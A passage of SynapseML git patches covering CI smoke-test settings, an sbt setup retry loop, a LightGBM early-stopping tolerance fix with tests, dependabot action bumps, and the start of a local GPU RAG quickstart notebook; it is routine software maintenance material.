+38,12 @@ "import urllib.request\n", "import zipfile\n", "\n", - "cloudpickle.register_pickle_by_value(synapse)" + "cloudpickle.register_pickle_by_value(synapse)\n", + "\n", + "ci_smoke = False\n", + "if \"dbutils\" in globals():\n", + " dbutils.widgets.text(\"synapseml_ci_smoke\", \"false\")\n", + " ci_smoke = dbutils.widgets.get(\"synapseml_ci_smoke\").lower() == \"true\"" ] }, { @@ -157,7 +162,7 @@ "run_output_dir = f\"/dbfs/FileStore/test/resnet50/{str(uuid.uuid4())[:8]}\"\n", "store = DBFSLocalStore(run_output_dir)\n", "\n", - "epochs = 10\n", + "epochs = 2 if ci_smoke else 10\n", "\n", "callbacks = [ModelCheckpoint(filename=\"{epoch}-{train_loss:.2f}\")]" ] diff --git a/pipeline.yaml b/pipeline.yaml index 871c3cef073..4b57b47c300 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -91,6 +91,7 @@ variables: isMaster: $[eq(variables['Build.SourceBranch'], 'refs/heads/master')] isTag: $[startsWith(variables['Build.SourceBranch'], 'refs/tags/')] isPR: $[eq(variables['Build.Reason'], 'PullRequest')] + SYNAPSEML_GPU_SMOKE_TESTS: $[eq(variables['Build.Reason'], 'PullRequest')] # Run coverage only on PRs, master, or tag builds to speed up feature branch builds runCoverage: $[or(eq(variables['Build.Reason'], 'PullRequest'), eq(variables['Build.SourceBranch'], 'refs/heads/master'), startsWith(variables['Build.SourceBranch'], 'refs/tags/'))] @@ -168,7 +169,7 @@ jobs: - job: DatabricksE2E displayName: 'Databricks E2E' condition: eq('${{ parameters.testDatabricksE2E }}', true) - timeoutInMinutes: 180 + timeoutInMinutes: 300 cancelTimeoutInMinutes: 0 pool: vmImage: $(UBUNTU_VERSION) @@ -775,7 +776,21 @@ jobs: (${FFMPEG:-false} && sudo apt-get update && \ sudo apt-get install ffmpeg libgstreamer1.0-0 \ gstreamer1.0-plugins-base gstreamer1.0-plugins-good gstreamer1.0-plugins-ugly -y) - (timeout 5m sbt setup) || (echo "retrying" && timeout 5m sbt setup) || (echo "retrying" && timeout 5m sbt setup) + # Matrix jobs start together, so stagger retries when Maven Central rate-limits sbt bootstrap. + retry_sbt_setup() { + for attempt in 1 2 3; do + if timeout 5m sbt setup; then + return 0 + fi + if [ "$attempt" -eq 3 ]; then + return 1 + fi + delay=$((attempt * 30 + RANDOM % 30)) + echo "sbt setup attempt $attempt failed; retrying in ${delay}s" + sleep "$delay" + done + } + retry_sbt_setup - task: AzureCLI@2 displayName: 'Unit Test' retryCountOnTaskFailure: 1 diff --git a/templates/publish.yml b/templates/publish.yml index b32d117ce8c..8cd0d11f111 100644 --- a/templates/publish.yml +++ b/templates/publish.yml @@ -2,6 +2,7 @@ steps: - task: AzureCLI@2 displayName: 'Publish Artifacts' retryCountOnTaskFailure: 4 + timeoutInMinutes: 30 inputs: azureSubscription: 'SynapseML Build' scriptLocation: inlineScript From b4a5983c86c756e102941d02c8cdc2a21d0ef99c Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Fri, 31 Jul 2026 20:56:36 -0700 Subject: [PATCH 13/93] fix: correct LightGBM improvement tolerance semantics (#2578) fix: correct LightGBM improvement tolerance semantics --- .../synapse/ml/lightgbm/TrainUtils.scala | 35 ++++--- .../ml/lightgbm/params/LightGBMParams.scala | 11 ++- .../ml/lightgbm/split1/TrainUtilsSuite.scala | 96 +++++++++++++++++++ 3 files changed, 128 insertions(+), 14 deletions(-) create mode 100644 lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/TrainUtilsSuite.scala diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/TrainUtils.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/TrainUtils.scala index 71579a65ae5..dc2e631da46 100644 --- a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/TrainUtils.scala +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/TrainUtils.scala @@ -11,7 +11,26 @@ import org.slf4j.Logger import java.io._ import scala.annotation.tailrec -private object TrainUtils extends Serializable { +private[lightgbm] object TrainUtils extends Serializable { + + private val HigherIsBetterMetricPrefixes = Seq("auc", "ndcg@", "map@", "average_precision") + + private[lightgbm] def isImprovement(evalName: String, + evalScore: Double, + bestScore: Double, + improvementTolerance: Double): Boolean = { + if (HigherIsBetterMetricPrefixes.exists(evalName.startsWith)) { + evalScore - bestScore > improvementTolerance + } else { + bestScore - evalScore > improvementTolerance + } + } + + private[lightgbm] def shouldStopEarly(iteration: Int, + bestIteration: Int, + earlyStoppingRound: Int): Boolean = { + earlyStoppingRound > 0 && iteration - bestIteration >= earlyStoppingRound + } def createBooster(trainParams: BaseTrainParams, trainDataset: LightGBMDataset, @@ -144,20 +163,14 @@ private object TrainUtils extends Serializable { val evalResults: Array[(String, Double)] = state.booster.getEvalResults(state.evalNames, 1) val results: Array[(String, Double)] = evalResults.zipWithIndex.map { case ((evalName, evalScore), index) => log.info(s"Valid $evalName=$evalScore") - val cmp = - if (evalName.startsWith("auc") - || evalName.startsWith("ndcg@") - || evalName.startsWith("map@") - || evalName.startsWith("average_precision")) - (x: Double, y: Double, tol: Double) => x - y > tol - else - (x: Double, y: Double, tol: Double) => x - y < tol if (state.bestScores(index) == null - || cmp(evalScore, state.bestScore(index), state.ctx.trainingCtx.improvementTolerance)) { + || isImprovement(evalName, evalScore, state.bestScore(index), + state.ctx.trainingCtx.improvementTolerance)) { state.bestScore(index) = evalScore state.bestIteration(index) = state.iteration state.bestScores(index) = evalResults.map(_._2) - } else if (state.iteration - state.bestIteration(index) >= state.ctx.trainingCtx.earlyStoppingRound) { + } else if (shouldStopEarly(state.iteration, state.bestIteration(index), + state.ctx.trainingCtx.earlyStoppingRound)) { state.isFinished = true log.info("Early stopping, best iteration is " + state.bestIteration(index)) state.bestIterationResult = Some(state.bestIteration(index)) diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/params/LightGBMParams.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/params/LightGBMParams.scala index a0faabd07e8..57d40e89c17 100644 --- a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/params/LightGBMParams.scala +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/params/LightGBMParams.scala @@ -185,13 +185,18 @@ trait LightGBMDatasetParams extends Wrappable { /** Defines common parameters across all LightGBM learners related to learning score evolution. */ trait LightGBMLearnerParams extends Wrappable { - val earlyStoppingRound = new IntParam(this, "earlyStoppingRound", "Early stopping round") + val earlyStoppingRound = new IntParam(this, "earlyStoppingRound", + "Number of rounds without sufficient improvement before stopping; zero disables early stopping", + ParamValidators.gtEq(0)) setDefault(earlyStoppingRound -> 0) def getEarlyStoppingRound: Int = $(earlyStoppingRound) def setEarlyStoppingRound(value: Int): this.type = set(earlyStoppingRound, value) - val improvementTolerance = new DoubleParam(this, "improvementTolerance", - "Tolerance to consider improvement in metric") + val improvementTolerance = new DoubleParam( + this, + "improvementTolerance", + "Metric improvement must exceed this value to reset the early stopping counter", + ParamValidators.gtEq(0.0)) setDefault(improvementTolerance -> 0.0) def getImprovementTolerance: Double = $(improvementTolerance) def setImprovementTolerance(value: Double): this.type = set(improvementTolerance, value) diff --git a/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/TrainUtilsSuite.scala b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/TrainUtilsSuite.scala new file mode 100644 index 00000000000..277725c9dfd --- /dev/null +++ b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/TrainUtilsSuite.scala @@ -0,0 +1,96 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.lightgbm.split1 + +import com.microsoft.azure.synapse.ml.lightgbm.{LightGBMRegressor, TrainUtils} +import org.scalatest.funsuite.AnyFunSuite + +class TrainUtilsSuite extends AnyFunSuite { + + private val lowerIsBetterMetrics = Seq( + "rmse", + "l1", + "mae", + "l2", + "mse", + "binary_logloss", + "binary_error", + "multi_logloss", + "multi_error", + "mape", + "quantile", + "huber", + "fair", + "poisson", + "gamma", + "gamma_deviance", + "tweedie", + "cross_entropy", + "kullback_leibler") + + private val higherIsBetterMetrics = Seq( + "auc", + "auc_mu", + "ndcg@1", + "ndcg@10", + "map@1", + "map@10", + "average_precision") + + private val tolerances = Seq(0.0, 0.25, 2.0, 25.0) + + test("Improvement tolerance is symmetric across metrics and tolerance values") { + val bestScore = 100.0 + val margin = 0.125 + + tolerances.foreach { tolerance => + lowerIsBetterMetrics.foreach { metric => + assert(TrainUtils.isImprovement(metric, bestScore - tolerance - margin, bestScore, tolerance)) + assert(!TrainUtils.isImprovement(metric, bestScore - tolerance, bestScore, tolerance)) + assert(!TrainUtils.isImprovement(metric, bestScore - tolerance / 2, bestScore, tolerance)) + assert(!TrainUtils.isImprovement(metric, bestScore + margin, bestScore, tolerance)) + } + + higherIsBetterMetrics.foreach { metric => + assert(TrainUtils.isImprovement(metric, bestScore + tolerance + margin, bestScore, tolerance)) + assert(!TrainUtils.isImprovement(metric, bestScore + tolerance, bestScore, tolerance)) + assert(!TrainUtils.isImprovement(metric, bestScore + tolerance / 2, bestScore, tolerance)) + assert(!TrainUtils.isImprovement(metric, bestScore - margin, bestScore, tolerance)) + } + } + } + + test("Zero early stopping rounds disable wrapper early stopping") { + assert(!TrainUtils.shouldStopEarly( + iteration = 100, + bestIteration = 0, + earlyStoppingRound = 0)) + } + + test("Positive early stopping rounds stop only when the round boundary is reached") { + assert(!TrainUtils.shouldStopEarly(iteration = 4, bestIteration = 0, earlyStoppingRound = 5)) + assert(TrainUtils.shouldStopEarly(iteration = 5, bestIteration = 0, earlyStoppingRound = 5)) + assert(TrainUtils.shouldStopEarly(iteration = 10, bestIteration = 5, earlyStoppingRound = 5)) + } + + test("Early stopping parameters accept valid values and reject invalid values") { + val learner = new LightGBMRegressor() + + assert(learner.getEarlyStoppingRound == 0) + assert(learner.getImprovementTolerance == 0.0) + + Seq(0, 1, 100, Int.MaxValue).foreach { earlyStoppingRound => + assert(learner.setEarlyStoppingRound(earlyStoppingRound).getEarlyStoppingRound == earlyStoppingRound) + } + assertThrows[IllegalArgumentException](learner.setEarlyStoppingRound(-1)) + + Seq(0.0, 0.25, 25.0, Double.MaxValue).foreach { tolerance => + assert(learner.setImprovementTolerance(tolerance).getImprovementTolerance == tolerance) + } + + Seq(-0.25, Double.NegativeInfinity, Double.NaN).foreach { tolerance => + assertThrows[IllegalArgumentException](learner.setImprovementTolerance(tolerance)) + } + } +} From e888e2d428f14dc4345c5fdeb8c25abb9a1d67e5 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 31 Jul 2026 23:40:04 -0700 Subject: [PATCH 14/93] chore(deps): bump amannn/action-semantic-pull-request (#2554) Bumps [amannn/action-semantic-pull-request](https://github.com/amannn/action-semantic-pull-request) from 5.4.0 to 6.1.1. - [Release notes](https://github.com/amannn/action-semantic-pull-request/releases) - [Changelog](https://github.com/amannn/action-semantic-pull-request/blob/main/CHANGELOG.md) - [Commits](https://github.com/amannn/action-semantic-pull-request/compare/v5.4.0...v6.1.1) --- updated-dependencies: - dependency-name: amannn/action-semantic-pull-request dependency-version: 6.1.1 dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] Co-authored-by: Rana Singh --- .github/workflows/check-semantic-prs.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/check-semantic-prs.yaml b/.github/workflows/check-semantic-prs.yaml index cbb5736cd02..1943f6b91df 100644 --- a/.github/workflows/check-semantic-prs.yaml +++ b/.github/workflows/check-semantic-prs.yaml @@ -13,6 +13,6 @@ jobs: name: Validate PR title runs-on: ubuntu-latest steps: - - uses: amannn/action-semantic-pull-request@v5.4.0 + - uses: amannn/action-semantic-pull-request@v6.1.1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} From 7d9fabcc3e4fb63f491dcf5136d7666fa4e62df2 Mon Sep 17 00:00:00 2001 From: Brendan Walsh <37676373+BrendanWalsh@users.noreply.github.com> Date: Sat, 1 Aug 2026 01:21:21 -0700 Subject: [PATCH 15/93] ci: use pre-installed Azure CLI in ADO jobs(#2545) --- templates/update_cli.yml | 2 -- 1 file changed, 2 deletions(-) diff --git a/templates/update_cli.yml b/templates/update_cli.yml index b767679a707..df79ef5bf54 100644 --- a/templates/update_cli.yml +++ b/templates/update_cli.yml @@ -9,5 +9,3 @@ steps: versionSpec: '8' jdkArchitectureOption: 'x64' jdkSourceOption: 'PreInstalled' - - bash: python -m pip install azure-cli==2.88.0 - displayName: 'Install Azure CLI' From 8e8cbcc811ce2593d668ddfea9c7bb4ceda137d0 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 3 Aug 2026 23:38:35 -0700 Subject: [PATCH 16/93] chore(deps): bump ossf/scorecard-action from 2.3.1 to 2.4.4 (#2597) Bumps [ossf/scorecard-action](https://github.com/ossf/scorecard-action) from 2.3.1 to 2.4.4. - [Release notes](https://github.com/ossf/scorecard-action/releases) - [Changelog](https://github.com/ossf/scorecard-action/blob/main/RELEASE.md) - [Commits](https://github.com/ossf/scorecard-action/compare/0864cf19026789058feabb7e87baa5f140aac736...2d1146689b8cda280b9bc96326124645441f03bc) --- updated-dependencies: - dependency-name: ossf/scorecard-action dependency-version: 2.4.4 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- .github/workflows/scorecards.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/scorecards.yml b/.github/workflows/scorecards.yml index 6c6d971ddb9..4dba111956c 100644 --- a/.github/workflows/scorecards.yml +++ b/.github/workflows/scorecards.yml @@ -37,7 +37,7 @@ jobs: persist-credentials: false - name: "Run analysis" - uses: ossf/scorecard-action@0864cf19026789058feabb7e87baa5f140aac736 # v2.3.1 + uses: ossf/scorecard-action@2d1146689b8cda280b9bc96326124645441f03bc # v2.4.4 with: results_file: results.sarif results_format: sarif From f671c02c70ee9a79cb571f80b0e0051d33dae5d5 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 3 Aug 2026 23:45:22 -0700 Subject: [PATCH 17/93] chore(deps): bump actions/setup-java from 5.6.0 to 5.7.0 (#2600) Bumps [actions/setup-java](https://github.com/actions/setup-java) from 5.6.0 to 5.7.0. - [Release notes](https://github.com/actions/setup-java/releases) - [Commits](https://github.com/actions/setup-java/compare/03ad4de0992f5dab5e18fcb136590ce7c4a0ac95...b6effb05e454b25005698d916606bdc6ffcbf961) --- updated-dependencies: - dependency-name: actions/setup-java dependency-version: 5.7.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Rana Singh --- .github/workflows/pr-validation.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/pr-validation.yml b/.github/workflows/pr-validation.yml index cbc8f4f7b0b..3fec6a227d1 100644 --- a/.github/workflows/pr-validation.yml +++ b/.github/workflows/pr-validation.yml @@ -33,7 +33,7 @@ jobs: uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - name: Set up JDK 11 - uses: actions/setup-java@03ad4de0992f5dab5e18fcb136590ce7c4a0ac95 # v5.6.0 + uses: actions/setup-java@b6effb05e454b25005698d916606bdc6ffcbf961 # v5.7.0 with: distribution: temurin java-version: 11 From 27bfeefdab4eea8625b439caeb24c7eca4ac597b Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Mon, 3 Aug 2026 23:48:43 -0700 Subject: [PATCH 18/93] docs: add T4 GPU local RAG quickstart (#2588) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * docs: add T4 GPU local RAG quickstart ## Summary Add an end-to-end local RAG notebook that performs sentence embedding, exact retrieval, and Phi-4-mini generation on a Databricks T4 worker. Register the notebook in the active GPU smoke suite and documentation sidebar with pinned model dependencies. ## Prompting Intent Reassess the unmerged GPU demo from PR #2271 against current master. Add a maintainable integration example only if it fills a gap beyond the standalone GPU KNN, Hugging Face CausalLM/Phi, and PDF Q&A notebooks; use current T4 assumptions, avoid TensorRT-LLM and custom CUDA setup, provide deterministic smoke assertions, and make no unrelated pipeline changes. ## Linked Sources - Original proposal: https://github.com/microsoft/SynapseML/pull/2271 - GPU KNN component: https://github.com/microsoft/SynapseML/pull/2157 - Local embedding component: https://github.com/microsoft/SynapseML/pull/2236 - Hugging Face CausalLM/Phi component: https://github.com/microsoft/SynapseML/pull/2301 - Current Databricks T4 validation platform: https://github.com/microsoft/SynapseML/pull/2579 - PDF Q&A reference: https://github.com/microsoft/SynapseML/blob/master/docs/Explore%20Algorithms/AI%20Services/Quickstart%20-%20Document%20Question%20and%20Answering%20with%20PDFs.ipynb ## Rationale The existing notebooks document the individual building blocks but not their local, service-free composition. Exact PyTorch cosine scoring keeps the tutorial small and fully testable on the active T4 suite without reviving the disabled RAPIDS pipeline or its obsolete CUDA/TensorRT initialization. The notebook uses supported current-master models, max_new_tokens rather than conflicting sequence limits, and a PR smoke mode that exercises every GPU stage. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: harden GPU RAG reproducibility checks ## Summary Pin both Hugging Face repositories to immutable commit snapshots, load the Phi model and tokenizer from the same local snapshot with remote code disabled, and strengthen retrieval validation against input-order fallback. ## Prompting Intent Address independent review findings on PR #2588 by removing mutable model resolution and trust_remote_code, then make the smoke test prove that GPU similarity ranking—not corpus order—selects the answer document. ## Linked Sources - Follow-up pull request: https://github.com/microsoft/SynapseML/pull/2588 - Original proposal: https://github.com/microsoft/SynapseML/pull/2271 - Pinned embedding snapshot: https://huggingface.co/sentence-transformers/all-MiniLM-L6-v2/tree/1110a243fdf4706b3f48f1d95db1a4f5529b4d41 - Pinned Phi snapshot: https://huggingface.co/microsoft/Phi-4-mini-instruct/tree/cfbefacb99257ffa30c83adab238a50856ac3083 ## Rationale SentenceTransformer accepts an immutable revision for its complete model/tokenizer snapshot. HuggingFaceCausalLM loads its tokenizer separately, so Phi is first resolved to one pinned worker-local snapshot and both loaders receive that path. Transformers 4.49 natively supports the checkpoint's phi3 architecture, allowing remote model code to remain disabled. A persisted corpus ordinal and independent Python sort over all GPU scores prove the top-k result differs from the first input rows and has strict score ordering. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * style: format GPU RAG notebook cells ## Summary Apply the repository-pinned Black 22.3 Jupyter formatter to the updated GPU RAG notebook cells. ## Prompting Intent Resolve the Python Style CI failure on PR #2588 without changing notebook behavior or broadening the patch. ## Linked Sources - Pull request: https://github.com/microsoft/SynapseML/pull/2588 - Failed Azure build: https://msdata.visualstudio.com/b9b2accc-2d1c-45b3-9d24-0eb5d78cc47f/_build/results?buildId=229241355 ## Rationale Black's Jupyter formatter omits the terminal newline stored in each code cell. Formatting only the touched notebook aligns its JSON representation with the CI environment while preserving all model-pinning and retrieval assertions. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: pin GPU RAG hub client and FP16 ## Summary Pin huggingface-hub 0.26.0 in the Databricks GPU libraries and notebook setup, verify the Hugging Face dependency set in unit tests, and force Phi model loading to FP16 on T4 hardware. ## Prompting Intent Address the second independent re-review of PR #2588 by making snapshot_download's client version reproducible and preventing Phi's BF16 checkpoint metadata from selecting an unsupported native dtype on T4 GPUs. ## Linked Sources - Pull request: https://github.com/microsoft/SynapseML/pull/2588 - Repository environment pin: environment.yml - Hugging Face Hub 0.26.0: https://pypi.org/project/huggingface-hub/0.26.0/ - Pinned Phi configuration: https://huggingface.co/microsoft/Phi-4-mini-instruct/blob/cfbefacb99257ffa30c83adab238a50856ac3083/config.json ## Rationale Version 0.26.0 is already the repository-pinned lower bound used with Transformers 4.49.0, so installing that exact version on the GPU cluster makes snapshot resolution deterministic without introducing a new dependency choice. Phi advertises bfloat16 in its configuration, while NVIDIA T4 compute capability 7.5 lacks native BF16; passing the supported float16 dtype explicitly avoids architecture-dependent auto selection. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * test: guard accelerate GPU dependency pin ## Summary Assert that the Databricks GPU library manifest retains accelerate==0.26.0 alongside the pinned Hugging Face dependencies. ## Prompting Intent Address the remaining actionable review feedback on PR #2588 by preventing the runtime dependency used for distributed Phi loading from drifting without a focused unit-test failure. ## Linked Sources - Pull request: https://github.com/microsoft/SynapseML/pull/2588 - Reviewed GPU library manifest: core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala ## Rationale The package is already explicitly pinned in GPULibraries, so extending the existing parsed-manifest test is the smallest regression guard and avoids duplicating library configuration or changing runtime behavior. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --------- Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .../ml/nbtest/DatabricksUtilities.scala | 2 + .../ml/nbtest/DatabricksUtilitiesSuite.scala | 16 + ... End-to-end Local RAG with Phi Model.ipynb | 416 ++++++++++++++++++ website/sidebars.js | 1 + 4 files changed, 435 insertions(+) create mode 100644 docs/Explore Algorithms/Deep Learning/Quickstart - End-to-end Local RAG with Phi Model.ipynb diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala index 019a85dfb7d..a47bb54c225 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala @@ -229,6 +229,8 @@ object DatabricksUtilities { Map("pypi" -> Map("package" -> "pytorch-lightning==1.5.0")), Map("pypi" -> Map("package" -> "torchvision==0.15.1")), Map("pypi" -> Map("package" -> "transformers==4.49.0")), + Map("pypi" -> Map("package" -> "huggingface-hub==0.26.0")), + Map("pypi" -> Map("package" -> "sentence-transformers==4.0.2")), Map("pypi" -> Map("package" -> "jinja2==3.1.6")), Map("pypi" -> Map("package" -> "petastorm==0.12.1")), Map("pypi" -> Map("package" -> "protobuf==5.29.4")), diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilitiesSuite.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilitiesSuite.scala index d01f1b8362b..6983f9e0a79 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilitiesSuite.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilitiesSuite.scala @@ -525,11 +525,27 @@ class DatabricksUtilitiesSuite extends AnyFunSuite { assert(cleanedClusters === Seq("cluster-1", "cluster-2")) } + test("Pin GPU Hugging Face dependencies") { + val packages = DatabricksUtilities.GPULibraries.parseJson + .asInstanceOf[JsArray] + .elements + .flatMap { library => + library.asJsObject.fields.get("pypi") + .map(_.asJsObject.fields("package").convertTo[String]) + } + + assert(packages.contains("transformers==4.49.0")) + assert(packages.contains("huggingface-hub==0.26.0")) + assert(packages.contains("sentence-transformers==4.0.2")) + assert(packages.contains("accelerate==0.26.0")) + } + test("Select all GPU notebooks in deterministic order") { val notebookNames = DatabricksUtilities.GPUNotebooks.map(_.getName) assert(notebookNames === Seq( "Quickstart - Apply Phi Model with HuggingFace CausalLM.ipynb", + "Quickstart - End-to-end Local RAG with Phi Model.ipynb", "Quickstart - Fine-tune a Text Classifier.ipynb", "Quickstart - Fine-tune a Vision Classifier.ipynb" )) diff --git a/docs/Explore Algorithms/Deep Learning/Quickstart - End-to-end Local RAG with Phi Model.ipynb b/docs/Explore Algorithms/Deep Learning/Quickstart - End-to-end Local RAG with Phi Model.ipynb new file mode 100644 index 00000000000..230c7ab65bc --- /dev/null +++ b/docs/Explore Algorithms/Deep Learning/Quickstart - End-to-end Local RAG with Phi Model.ipynb @@ -0,0 +1,416 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# End-to-end local RAG on a Databricks T4 GPU\n", + "\n", + "This quickstart composes a complete local retrieval-augmented generation (RAG) pipeline with Apache Spark and SynapseML:\n", + "\n", + "1. encode document text and a question with a Hugging Face sentence transformer on a GPU worker;\n", + "2. rank the document embeddings with exact cosine similarity on that GPU; and\n", + "3. generate a grounded answer with `HuggingFaceCausalLM` and Phi-4-mini on the GPU.\n", + "\n", + "Unlike the service-backed [PDF Q&A quickstart](https://github.com/microsoft/SynapseML/blob/master/docs/Explore%20Algorithms/AI%20Services/Quickstart%20-%20Document%20Question%20and%20Answering%20with%20PDFs.ipynb), this example needs no model-service keys or vector database. For large corpora, replace the exact retrieval step with the indexed approach in the [GPU approximate KNN quickstart](https://github.com/microsoft/SynapseML/blob/master/docs/Explore%20Algorithms/OpenAI/Quickstart%20-%20Custom%20Embeddings%20and%20Approximate%20KNN%20on%20GPU.ipynb).\n", + "\n", + "The SynapseML GPU smoke test runs this notebook on Databricks Runtime 14.3 LTS ML with one `Standard_NC16as_T4_v3` worker. PyTorch and CUDA come from that GPU runtime; do not install a separate CUDA toolkit or TensorRT-LLM. The Python libraries used by the notebook are pinned to the versions tested by the repository:\n", + "\n", + "- `transformers==4.49.0`\n", + "- `huggingface-hub==0.26.0`\n", + "- `sentence-transformers==4.0.2`\n", + "- `accelerate==0.26.0`\n", + "\n", + "The configuration below also pins each Hugging Face repository to an immutable commit SHA. The exact `huggingface-hub` version is pinned because it resolves those snapshots. Phi's model and tokenizer load from the same pinned local snapshot, and Transformers' native Phi implementation is used with remote model code disabled.\n", + "\n", + "When these libraries are not already installed as cluster libraries, install the same versions and restart Python before continuing:\n", + "\n", + "```python\n", + "# %pip install transformers==4.49.0 huggingface-hub==0.26.0 sentence-transformers==4.0.2 accelerate==0.26.0\n", + "# dbutils.library.restartPython()\n", + "```\n" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## 1. Configure the reproducible smoke path\n", + "\n", + "Pull-request validation supplies the `synapseml_ci_smoke` widget. The smoke path still performs every GPU stage; it only uses fewer documents and fewer generated tokens. Model revisions are full Hugging Face commit SHAs so a future change to either repository cannot alter this example silently.\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "EMBEDDING_MODEL = \"sentence-transformers/all-MiniLM-L6-v2\"\n", + "EMBEDDING_REVISION = \"1110a243fdf4706b3f48f1d95db1a4f5529b4d41\"\n", + "GENERATION_MODEL = \"microsoft/Phi-4-mini-instruct\"\n", + "GENERATION_REVISION = \"cfbefacb99257ffa30c83adab238a50856ac3083\"\n", + "ANSWER_DOCUMENT_ID = \"earth-view\"\n", + "\n", + "ci_smoke = False\n", + "if \"dbutils\" in globals():\n", + " dbutils.widgets.text(\"synapseml_ci_smoke\", \"false\")\n", + " ci_smoke = dbutils.widgets.get(\"synapseml_ci_smoke\").lower() == \"true\"\n", + "\n", + "generation_tokens = 24 if ci_smoke else 64\n", + "retrieve_k = 2" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## 2. Verify the Spark executor has a GPU\n", + "\n", + "The Databricks test cluster intentionally uses a CPU driver and a T4 GPU worker. Probe the executor rather than the driver so the check matches where Spark inference runs.\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "import numpy as np\n", + "import pandas as pd\n", + "import pyspark.sql.functions as F\n", + "from pyspark.ml.functions import predict_batch_udf\n", + "from pyspark.sql.functions import pandas_udf\n", + "from pyspark.sql.types import ArrayType, FloatType, StringType\n", + "\n", + "\n", + "@pandas_udf(StringType())\n", + "def cuda_device_name(values: pd.Series) -> pd.Series:\n", + " import torch\n", + "\n", + " if not torch.cuda.is_available():\n", + " raise RuntimeError(\"This quickstart requires a CUDA-enabled Spark worker.\")\n", + " return pd.Series([torch.cuda.get_device_name(0)] * len(values))\n", + "\n", + "\n", + "gpu_name = (\n", + " spark.range(1)\n", + " .repartition(1)\n", + " .select(cuda_device_name(F.col(\"id\")).alias(\"gpu\"))\n", + " .first()[\"gpu\"]\n", + ")\n", + "assert gpu_name, \"The Spark worker did not report a CUDA device.\"\n", + "print(f\"Spark executor GPU: {gpu_name}\")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## 3. Create a small local knowledge base\n", + "\n", + "The compact corpus keeps the tutorial deterministic and free of service credentials. In an application, replace this DataFrame with text extracted from PDFs using the preprocessing steps in the PDF Q&A quickstart.\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "documents = [\n", + " (\n", + " \"earth-at-night\",\n", + " \"Earth at night reveals cities and transportation networks through \"\n", + " \"patterns of artificial light.\",\n", + " ),\n", + " (\n", + " \"mars\",\n", + " \"Mars is often called the red planet because iron minerals in its soil \"\n", + " \"oxidize and appear red.\",\n", + " ),\n", + " (\n", + " \"earth-view\",\n", + " \"Apollo 14 astronaut Edgar Mitchell described Earth from space as \"\n", + " \"a sparkling blue and white jewel.\",\n", + " ),\n", + " (\n", + " \"earth-oceans\",\n", + " \"Oceans cover most of Earth's surface and strongly influence weather \"\n", + " \"and climate.\",\n", + " ),\n", + 